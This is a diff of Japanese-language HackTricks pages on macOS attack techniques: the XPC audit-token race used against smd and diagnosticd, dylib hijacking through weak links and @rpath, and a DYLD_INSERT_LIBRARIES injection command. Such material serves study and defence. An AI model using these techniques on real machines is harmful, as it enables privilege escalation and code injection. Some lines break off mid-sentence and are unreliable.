もし、関数 **`[HelperTool checkAuthorization:command:]`** を見つけた場合、おそらくプロセスは以前に言及した認証スキーマを使用しています:
|
||||
もし、関数 **`[HelperTool checkAuthorization:command:]`** を見つけた場合、おそらくプロセスは以前に言及した認証のスキーマを使用しています:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この関数が `AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree` などの関数を呼び出している場合、[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) を使用しています。
|
||||
|
||||
|
@ -325,7 +325,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* launchdのplistファイルで:
|
||||
* launchdのplistファイル内:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||
|
||||
|
|
|
@ -55,51 +55,51 @@ XPC接続の確立方法を知らない場合は、次を確認してくださ
|
|||
* したがって、**異なるメッセージが監査トークンを上書き**する可能性があります。なぜなら、イベントハンドラの外部で非同期にディスパッチされるからです。
|
||||
* Exploitは、サービス**A**への**SEND権限をサービスBに渡します**。
|
||||
* したがって、svc **B**は実際にはサービス**A**に**メッセージを送信**します。
|
||||
* Exploitは**特権アクションを呼び出そうとします**。RC svc **A**は、この**アクション**の認可を**チェック**しますが、**svc Bは監査トークンを上書き**しました(これにより、Exploitは特権アクションを呼び出す権限が与えられます)。
|
||||
* Exploitは**特権アクションを呼び出そうとします**。RC svc **A**では、**svc Bが監査トークンを上書き**したかどうかの認証を**チェック**します(これにより、Exploitが特権アクションを呼び出す権限が与えられます)。
|
||||
2. Variant 2:
|
||||
* サービス**B**は、ユーザーができない**特権機能**をサービス**A**で呼び出すことができます。
|
||||
* Exploitは、**サービスA**に接続し、特定の**応答**を期待する**メッセージを送信**します。
|
||||
* Exploitは、**サービスB**に**その応答ポート**を渡すメッセージを送信します。
|
||||
* サービス**Bが応答すると、メッセージをサービスAに送信**しますが、同時に**ExploitはサービスAに異なるメッセージを送信**し、特権機能に到達しようとし、サービスBからの応答が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
|
||||
* Exploitは、**サービスA**に接続し、特定の**リプライポート**で**応答を期待するメッセージ**を送信します。
|
||||
* Exploitは、**サービスB**にメッセージを送信し、**そのリプライポート**を渡します。
|
||||
* サービス**Bが応答すると、メッセージをサービス**Aに送信**しますが、同時にExploitはサービス**A**に異なる**メッセージを送信**し、特権機能に到達しようとし、サービス**B**からの応答が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
|
||||
## Variant 1: イベントハンドラの外でxpc_connection_get_audit_tokenを呼び出す <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
シナリオ:
|
||||
|
||||
* 2つのmach **サービス**_**A**_**と**_**B**_**に接続できる**(サンドボックスプロファイルと接続を受け入れる前の認証チェックに基づく)。
|
||||
* _**A**_**は、**_**B**_**が渡すことができる特定の**アクションの****認証チェック**を持っている必要があります(ただし、私たちのアプリはできません)。
|
||||
* _**A**_**は、**_**B**_**が渡すことができる特定の**アクションの認証チェック**を持っている必要があります(ただし、私たちのアプリはできません)。
|
||||
* たとえば、Bにはいくつかの**エンタイトルメント**があるか、**root**として実行されている場合、特権アクションを実行するようにAに要求することができます。
|
||||
* この認証チェックでは、_**A**_**は非同期に監査トークンを取得します**。たとえば、`dispatch_async`から`xpc_connection_get_audit_token`を呼び出すことによって。
|
||||
|
||||
{% hint style="danger" %}
|
||||
この場合、攻撃者は**レースコンディション**をトリガーし、**BがAにアクションを実行する**ように**exploit**を複数回要求します。RCが**成功すると**、**Bの監査トークン**が**メモリにコピー**されます**exploit**のリクエストがAによって**処理**される**間に**、それによって**Bだけが要求できる特権アクションにアクセス**できます。
|
||||
この場合、攻撃者は**レースコンディション**をトリガーし、**BがAにアクションを実行する**ように**exploit**を複数回要求します。RCが**成功すると**、**Bの監査トークン**が**メモリにコピー**されますが、その間に**exploit**のリクエストがAによって**処理**されるため、Bだけが要求できる特権アクションに**アクセス**できます。
|
||||
{% endhint %}
|
||||
|
||||
これは、_**A**_**が`smd`**として、_**B**_**が`diagnosticd`**として発生しました。[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)関数は、特権ヘルパーツール(**root**として)をインストールするために使用できます。**root**として実行される**プロセスが**`smd`**に連絡する場合、他のチェックは実行されません。
|
||||
これは、_**A**_**が`smd`**として、_**B**_**が`diagnosticd`**として発生しました。[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)関数は、特権ヘルパーツール(**root**として)をインストールするために使用できます。**root**として実行されるプロセスが**smd**に連絡する場合、他のチェックは実行されません。
|
||||
|
||||
したがって、サービス**B**は**`diagnosticd`**であり、**root**として実行されるため、プロセスの**モニタリング**に使用できます。モニタリングが開始されると、**毎秒複数のメッセージを送信**します。
|
||||
したがって、サービス**B**は**`diagnosticd`**であり、**root**として実行されるため、プロセスを**監視**するために使用できます。したがって、監視が開始されると、**毎秒複数のメッセージを送信**します。
|
||||
|
||||
攻撃を実行するには:
|
||||
|
||||
1. 通常のXPCプロトコルに従って、**`smd`**への**接続**を確立します。
|
||||
2. 次に、**`diagnosticd`**への**接続**を確立しますが、新しいmachポートを2つ生成してそれらを送信する代わりに、クライアントポートの送信権を**`smd`**への接続の**送信権のコピー**で置き換えます。
|
||||
3. これは、**`diagnosticd`**にXPCメッセージを送信できるが、**`diagnosticd`**が送信するメッセージは**`smd`**に送信されることを意味します。 
|
||||
* `smd`にとって、私たちと`diagnosticd`の両方のメッセージは同じ接続に到着します。
|
||||
2. 次に、**`diagnosticd`**への**接続**を確立しますが、新しいmachポートを2つ生成してそれらを送信する代わりに、クライアントポートの送信権を**`smd`への接続の送信権のコピー**で置き換えます。
|
||||
3. これは、**`diagnosticd`**にXPCメッセージを送信できることを意味しますが、**`diagnosticd`が送信するメッセージは`smd`に送信されます**。 
|
||||
* `smd`では、私たちと`diagnosticd`の両方のメッセージが同じ接続に到着します。
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
4. **`diagnosticd`**に私たちの(またはアクティブな任意の)プロセスの**モニタリングを開始**するように依頼し、**`smd`**に対して**ルーチン1004のメッセージをスパム**します(特権ツールをインストールするため)。
|
||||
5. これにより、`handle_bless`で非常に特定のウィンドウに到達する必要があるレースコンディションが作成されます。特権ヘルパーツールはアプリのバンドルにありますので、`xpc_connection_get_pid`への呼び出しが自分自身のプロセスのPIDを返す必要があります。ただし、`connection_is_authorized`関数内の`xpc_connection_get_audit_token`への呼び出しは、`diganosticd`の監査トークンを使用する必要があります。
|
||||
4. **`diagnosticd`**に私たち(またはアクティブな任意の)プロセスの**監視を開始**するように依頼し、**`smd`に1004のルーチンメッセージをスパム**します(特権ツールをインストールするため)。
|
||||
5. これにより、`handle_bless`で非常に特定のウィンドウに到達する必要があるレースコンディションが発生します。特権ヘルパーツールはアプリのバンドルにありますので、`xpc_connection_get_pid`への呼び出しは自分自身のプロセスのPIDを返す必要があります。ただし、`connection_is_authorized`関数内の`xpc_connection_get_audit_token`への呼び出しは、`diagnosticd`の監査トークンを使用する必要があります。
|
||||
|
||||
## Variant 2: 返信の転送
|
||||
|
||||
前述のように、XPC接続のイベントハンドラは複数回同時に実行されません。ただし、**XPCの返信**メッセージは異なる方法で処理されます。返信が期待されるメッセージを送信するための2つの関数が存在します。
|
||||
前述のように、XPC接続のイベントハンドラは複数回同時に実行されません。ただし、**XPCの返信**メッセージは異なる方法で処理されます。返信が期待されるメッセージを送信するために2つの関数が存在します。
|
||||
|
||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`は、XPCメッセージが指定されたキューで受信および解析される場合です。
|
||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`は、XPCメッセージが現在のディスパッチキューで受信および解析される場合です。
|
||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`:この場合、XPCメッセージは指定されたキューで受信および解析されます。
|
||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`:この場合、XPCメッセージは現在のディスパッチキューで受信および解析されます。
|
||||
|
||||
したがって、**XPCの返信パケットは、XPCイベントハンドラの実行中に解析**される可能性があります。`_xpc_connection_set_creds`はロックを使用していますが、これは監査トークンの一部の上書きを防ぐだけであり、接続オブジェクト全体をロックしません。そのため、パケットの解析とイベントハンドラの実行の間に監査トークンを**置き換える**ことが可能です。
|
||||
|
||||
このシナリオでは、次のものが必要です。
|
||||
このシナリオでは、次のものが必要です:
|
||||
|
||||
* 先ほどと同様に、私たちが両方に接続できる2つのmachサービス_A_と_B_。
|
||||
* 再び、_A_は_B_が渡すことができる特定のアクションの認証チェックを持っている必要があります(ただし、私たちのアプリはできません)。
|
||||
|
@ -108,11 +108,11 @@ XPC接続の確立方法を知らない場合は、次を確認してくださ
|
|||
|
||||
_A_が返信を期待するメッセージを送信するのを待ちます(1)、返信せずに返信ポートを取得し、_B_に送信するメッセージに使用します(2)。その後、禁止されたアクションを使用するメッセージを送信し、_B_からの返信と同時に到着することを期待します(3)。
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 発見の問題
|
||||
|
||||
他のインスタンスを見つけるために長い時間を費やしましたが、条件が静的または動的に検索するのが難しかったです。`xpc_connection_get_audit_token`への非同期呼び出しを検索するために、Fridaを使用してこの関数にフックし、バックトレースに`_xpc_connection_mach_event`が含まれているかどうかをチェックしました(これはイベントハンドラから呼び出されていないことを意味します)。ただし、これは現在フックしているプロセスとアクティブに使用されているアクションからの呼び出しのみを検出します。IDA/Ghidraで到達可能なすべてのmachサービスを分析することは非常に時間がかかりましたが、特に呼び出しがdyld共有キャッシュを含む場合です。`dispatch_async`を使用して提出されたブロックから到達可能な`xpc_connection_get_audit_token`への呼び出しを検索するためにスクリプトを試しましたが、ブロックとdyld共有キャッシュへのパースが困難でした。これにしばらく時間を費やした後、私たちは持っているものを提出する方が良いと判断しました。
|
||||
他のインスタンスを見つけるために長い時間を費やしましたが、条件が静的または動的に検索するのが難しかったです。`xpc_connection_get_audit_token`への非同期呼び出しを検索するために、Fridaを使用してこの関数にフックし、バックトレースに`_xpc_connection_mach_event`が含まれているかどうかをチェックしました(これはイベントハンドラから呼び出されていないことを意味します)。ただし、これは現在フックしているプロセスとアクティブに使用されているアクションからの呼び出しのみを検出します。IDA/Ghidraで到達可能なすべてのmachサービスを分析することは非常に時間がかかりましたが、呼び出しがdyld共有キャッシュを含む場合は特にそうです。`dispatch_async`を使用して提出されたブロックから到達可能な`xpc_connection_get_audit_token`への呼び出しを検索するためにスクリプトを試しましたが、ブロックとdyld共有キャッシュへのパースが困難でした。これにしばらく時間を費やした後、私たちは持っているものを提出する方が良いと判断しました。
|
||||
## 修正策 <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
最終的に、私たちは`smd`の一般的な問題と具体的な問題を報告しました。Appleは`smd`のみ修正し、`xpc_connection_get_audit_token`の呼び出しを`xpc_dictionary_get_audit_token`に置き換えました。
|
||||
|
|
|
@ -33,18 +33,18 @@
|
|||
|
||||
* バイナリが`setuid/setgid`である
|
||||
* machoバイナリに`__RESTRICT/__restrict`セクションが存在する
|
||||
* ソフトウェアには、[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)エンタイトルメントまたは[`com.apple.security.cs.disable-library-validation`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)エンタイトルメントがあります。
|
||||
* ソフトウェアには、[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)エンタイトルメントまたは[`com.apple.security.cs.disable-library-validation`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)`/` [`com.apple.private.security.clear-library-validation`](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)エンタイトルメントがあります。
|
||||
* バイナリのエンタイトルメントを次のコマンドで確認します:`codesign -dv --entitlements :- </path/to/bin>`
|
||||
* ライブラリがバイナリと異なる証明書で署名されている場合
|
||||
* ライブラリとバイナリが同じ証明書で署名されている場合、これにより前の制限がバイパスされます
|
||||
* エンタイトルメント**`system.install.apple-software`**および**`system.install.apple-software.standar-user`**を持つプログラムは、ユーザーにパスワードを求めずにAppleによって署名されたソフトウェアを**インストール**できます(特権昇格)
|
||||
|
||||
より新しいバージョンでは、このロジックは関数**`configureProcessRestrictions`**の2番目の部分にあります。ただし、新しいバージョンでは、関数の**最初のチェックが実行**されます(iOSまたはシミュレーションに関連するif文は使用されないため、それらを削除できます)。
|
||||
より新しいバージョンでは、このロジックは関数**`configureProcessRestrictions`**の2番目の部分で見つけることができます。ただし、新しいバージョンでは、関数の**最初のチェック**が実行されます(iOSやシミュレーションに関連するif文は使用されないため、それらを削除できます)。
|
||||
{% endhint %}
|
||||
|
||||
バイナリに**ハードランタイム**があるかどうかは、`codesign --display --verbose <bin>`で**確認**できます。**`CodeDirectory`**の**ランタイム**フラグをチェックします。例:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||
バイナリに**ハードランタイム**があるかどうかは、`codesign --display --verbose <bin>`で**runtime**フラグを**`CodeDirectory`**の中でチェックすることで確認できます。例:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||
|
||||
これを悪用する方法の例と制限のチェック方法については、次の場所にあります。
|
||||
これを悪用する方法の例と制限のチェック方法は次の場所にあります:
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
@ -56,19 +56,15 @@
|
|||
Dylibハイジャッキング攻撃を実行するには、**前述の制限も適用**することを忘れないでください。
|
||||
{% endhint %}
|
||||
|
||||
Windowsと同様に、MacOSでも**dylibをハイジャック**して、**アプリケーション**で**任意のコードを実行**することができます。ただし、MacOSのアプリケーションがライブラリをロードする方法は、Windowsよりも**制限が多い**です。これにより、マルウェア開発者はこのテクニックを**ステルス**に使用できますが、特権昇格に悪用する可能性は低いです。
|
||||
Windowsと同様に、MacOSでも**dylibをハイジャック**して、**アプリケーションが任意のコードを実行**することができます。ただし、MacOSのアプリケーションがライブラリをロードする方法は、Windowsよりも**制限が多い**です。これは、**マルウェア**開発者がこのテクニックを**ステルス**に使用できる可能性がある一方で、特権昇格に悪用する可能性はずっと低いということを意味します。
|
||||
|
||||
まず、**MacOSバイナリがライブラリをロードする際には、完全なパスを指定**することが**より一般的**です。そして、**MacOSはライブラリを$PATHのフォルダで検索しません**。
|
||||
まず、**MacOSバイナリがライブラリをロードする際には、完全なパスを指定**することが**より一般的**です。そして、**MacOSは決して**$PATH**のフォルダを検索しません。
|
||||
|
||||
この機能に関連する**コードの主な部分**は、`ImageLoader.cpp`の**`ImageLoader::recursiveLoadLibraries`**にあります。
|
||||
|
||||
machoバイナリが使用できる**4つの異なるヘッダコマンド**があります。
|
||||
|
||||
* **`LC_LOAD_DYLIB`**コマンドは、dylibをロードするた
|
||||
* **弱リンクされたライブラリが見つからない**: これは、アプリケーションが存在しないライブラリを**LC\_LOAD\_WEAK\_DYLIB**で設定してロードしようとすることを意味します。その後、**攻撃者が予想される場所にdylibを配置すると、ロードされます**。
|
||||
この機能に関連する**コードの主な部分**は、`ImageLoader.cpp`
|
||||
* **弱リンクされたライブラリが見つからない**: これは、アプリケーションが存在しないライブラリを**LC\_LOAD\_WEAK\_DYLIB**で設定してロードしようとすることを意味します。その後、**攻撃者が期待される場所にdylibを配置すると、ロードされます**。
|
||||
* リンクが「弱い」ということは、ライブラリが見つからなくてもアプリケーションが続行されることを意味します。
|
||||
* これに関連する**コード**は、`ImageLoaderMachO.cpp`の`ImageLoaderMachO::doGetDependentLibraries`関数にあります。ここでは、`lib->required`は`LC_LOAD_WEAK_DYLIB`がtrueの場合にのみ`false`です。
|
||||
* バイナリ内の**弱リンクされたライブラリを見つける**には(後でハイジャックライブラリの作成方法の例があります):
|
||||
* バイナリ内の**弱リンクされたライブラリを検索**するには(後でハイジャックライブラリの作成方法の例があります):
|
||||
* ```bash
|
||||
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
|
||||
cmdsize 56
|
||||
|
@ -77,11 +73,11 @@ time stamp 2 Wed Jun 21 12:23:31 1969
|
|||
current version 1.0.0
|
||||
compatibility version 1.0.0
|
||||
```
|
||||
* **@rpathで設定された**: Mach-Oバイナリには、**`LC_RPATH`**と**`LC_LOAD_DYLIB`**というコマンドがあります。これらのコマンドの値に基づいて、**異なるディレクトリからライブラリがロード**されます。
|
||||
* **@rpathで設定された**: Mach-Oバイナリには、**`LC_RPATH`**と**`LC_LOAD_DYLIB`**というコマンドがあります。これらのコマンドの**値**に基づいて、**異なるディレクトリ**から**ライブラリがロード**されます。
|
||||
* **`LC_RPATH`**には、バイナリでライブラリをロードするために使用されるいくつかのフォルダのパスが含まれています。
|
||||
* **`LC_LOAD_DYLIB`**には、ロードする特定のライブラリのパスが含まれています。これらのパスには**`@rpath`**が含まれており、**`LC_RPATH`**の値で置き換えられます。**`LC_RPATH`**に複数のパスがある場合、すべてのパスが使用されてライブラリの検索に使用されます。例:
|
||||
* **`LC_LOAD_DYLIB`**に`@rpath/library.dylib`が含まれ、**`LC_RPATH`**に`/application/app.app/Contents/Framework/v1/`と`/application/app.app/Contents/Framework/v2/`が含まれている場合。両方のフォルダが`library.dylib`をロードするために使用されます。**`LC_LOAD_DYLIB`**のパスの順序に従って、ライブラリが`[...]/v1/`に存在しない場合、攻撃者はそれをそこに配置して`[...]/v2/`のライブラリのロードを乗っ取ることができます。
|
||||
* バイナリ内の**rpathパスとライブラリを見つける**には、`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`を使用します。
|
||||
* **`LC_LOAD_DYLIB`**には、ロードする特定のライブラリのパスが含まれています。これらのパスには**`@rpath`**が含まれる場合、**`LC_RPATH`**の値で置き換えられます。**`LC_RPATH`**に複数のパスがある場合、すべてのパスが使用されてライブラリの検索に使用されます。例:
|
||||
* **`LC_LOAD_DYLIB`**に`@rpath/library.dylib`が含まれ、**`LC_RPATH`**に`/application/app.app/Contents/Framework/v1/`と`/application/app.app/Contents/Framework/v2/`が含まれている場合、両方のフォルダが`library.dylib`をロードするために使用されます。**`LC_LOAD_DYLIB`**のパスの順序に従います。
|
||||
* バイナリ内の**rpathパスとライブラリ**を検索するには:`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
||||
|
||||
{% hint style="info" %}
|
||||
**`@executable_path`**:**メインの実行可能ファイル**を含むディレクトリへの**パス**です。
|
||||
|
@ -92,10 +88,10 @@ compatibility version 1.0.0
|
|||
* **dylib**で使用される場合、**`@loader_path`**は**dylib**への**パス**を与えます。
|
||||
{% endhint %}
|
||||
|
||||
この機能を悪用して特権をエスカレーションする方法は、**root**によって実行される**アプリケーション**が、攻撃者が書き込み権限を持つフォルダでライブラリを検索している**まれなケース**です。
|
||||
この機能を悪用して特権をエスカレーションする方法は、**root**によって実行される**アプリケーション**が、**攻撃者が書き込み権限を持つフォルダ**でライブラリを検索している**珍しいケース**です。
|
||||
|
||||
{% hint style="success" %}
|
||||
アプリケーション内の**欠落しているライブラリ**を見つけるための便利な**スキャナー**は、[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)または[**CLIバージョン**](https://github.com/pandazheng/DylibHijack)です。\
|
||||
アプリケーション内の**欠落しているライブラリ**を見つけるための素晴らしい**スキャナ**は、[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)または[**CLIバージョン**](https://github.com/pandazheng/DylibHijack)です。\
|
||||
この技術に関する技術的な詳細を含む素晴らしい**レポート**は[**こちら**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)で見つけることができます。
|
||||
{% endhint %}
|
||||
|
||||
|
@ -124,26 +120,26 @@ compatibility version 1.0.0
|
|||
* バイナリが**制限されていない**場合、CWDから何かをロードすることが可能です(または、言及されていないかもしれませんが、制限されていない場合、DYLD\_\*環境変数は削除されます)
|
||||
{% endhint %}
|
||||
|
||||
* パスが**フレームワークのパスのように見える場合**(例:`/stuff/foo.framework/foo`)、**`$DYLD_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリをフレームワークの部分パス(`foo.framework/foo`など)で検索します。次に、dyldは**提供されたパスをそのまま**試します(相対パ
|
||||
* パスが**フレームワークのパスのように見える場合**(例:`/stuff/foo.framework/foo`)、**`$DYLD_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリをフレームワークの部分パス(`foo.framework/foo`など)で検索します。次に、dyldは**提供されたパスをそのまま**試します(相対パスの場合はカレントワーキングディレクトリを使用)。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD
|
||||
2. 供給されたパス(制限がない場合は相対パスの場合はカレントディレクトリを使用)
|
||||
3. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||
4. `/usr/local/lib/`(制限がない場合)
|
||||
5. `/usr/lib/`
|
||||
|
||||
{% hint style="danger" %}
|
||||
名前にスラッシュが含まれており、フレームワークではない場合、ハイジャックする方法は次のとおりです:
|
||||
名前にスラッシュが含まれており、フレームワークではない場合、それを乗っ取る方法は次のとおりです:
|
||||
|
||||
* バイナリが**制限されていない**場合、CWDまたは`/usr/local/lib`から何かをロードすることが可能です(または、言及された環境変数のいずれかを乱用する)
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
注意:**dlopenの検索を制御する**設定ファイルはありません。
|
||||
注意:**dlopenの検索を制御する**設定ファイルは**存在しません**。
|
||||
|
||||
注意:メインの実行可能ファイルが**set\[ug]idバイナリまたはエンタイトルメントで署名**されている場合、**すべての環境変数は無視**され、完全なパスのみ使用できます(詳細な情報については、[DYLD\_INSERT\_LIBRARIESの制限を確認](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions)してください)
|
||||
注意:メインの実行可能ファイルが**set\[ug]idバイナリまたはエンタイトルメントで署名**されている場合、**すべての環境変数は無視**され、完全なパスのみ使用できます(詳細な情報については、[DYLD\_INSERT\_LIBRARIESの制限を確認](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions)してください)。
|
||||
|
||||
注意:Appleプラットフォームでは、32ビットと64ビットのライブラリを組み合わせるために「ユニバーサル」ファイルが使用されます。これは、**別々の32ビットと64ビットの検索パスは存在しない**ことを意味します。
|
||||
|
||||
注意:Appleプラットフォームでは、ほとんどのOS dylibは**dyldキャッシュに統合**されており、ディスク上に存在しません。したがって、OS dylibが存在するかどうかを事前に確認するために**`stat()`**を呼び出すことはできません。ただし、**`dlopen_preflight()`**は、互換性のあるmach-oファイルを見つけるために**`dlopen()`**と同じ手順を使用します。
|
||||
注意:Appleプラットフォームでは、ほとんどのOS dylibは**dyldキャッシュに統合**されており、ディスク上に存在しません。したがって、OS dylibが存在するかどうかを事前に確認するために**`stat()`**を呼び出すことは**機能しません**。ただし、**`dlopen_preflight()`**は、互換性のあるmach-oファイルを見つけるために**`dlopen()`**と同じ手順を使用します。
|
||||
{% endhint %}
|
||||
|
||||
**パスの確認**
|
||||
|
@ -291,9 +287,9 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
注意してください、バイナリにはフラグ**`0x0(none)`**で署名されているものがあるかもしれませんが、実行時に**`CS_RESTRICT`**フラグを動的に取得することができるため、このテクニックはそれらでは機能しません。
|
||||
注意してください、バイナリにはフラグ**`0x0(none)`**で署名されているものがあっても、実行時に**`CS_RESTRICT`**フラグを動的に取得することができるため、このテクニックはそれらでは機能しません。
|
||||
|
||||
このフラグを持つプロセスを確認するには([**ここでcsopsを取得**](https://github.com/axelexic/CSOps)): 
|
||||
(procにこのフラグがあるかどうかを確認するには、[**ここでcsopsを取得**](https://github.com/axelexic/CSOps)してください): 
|
||||
```bash
|
||||
csops -status <pid>
|
||||
```
|
||||
|
@ -306,8 +302,8 @@ csops -status <pid>
|
|||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
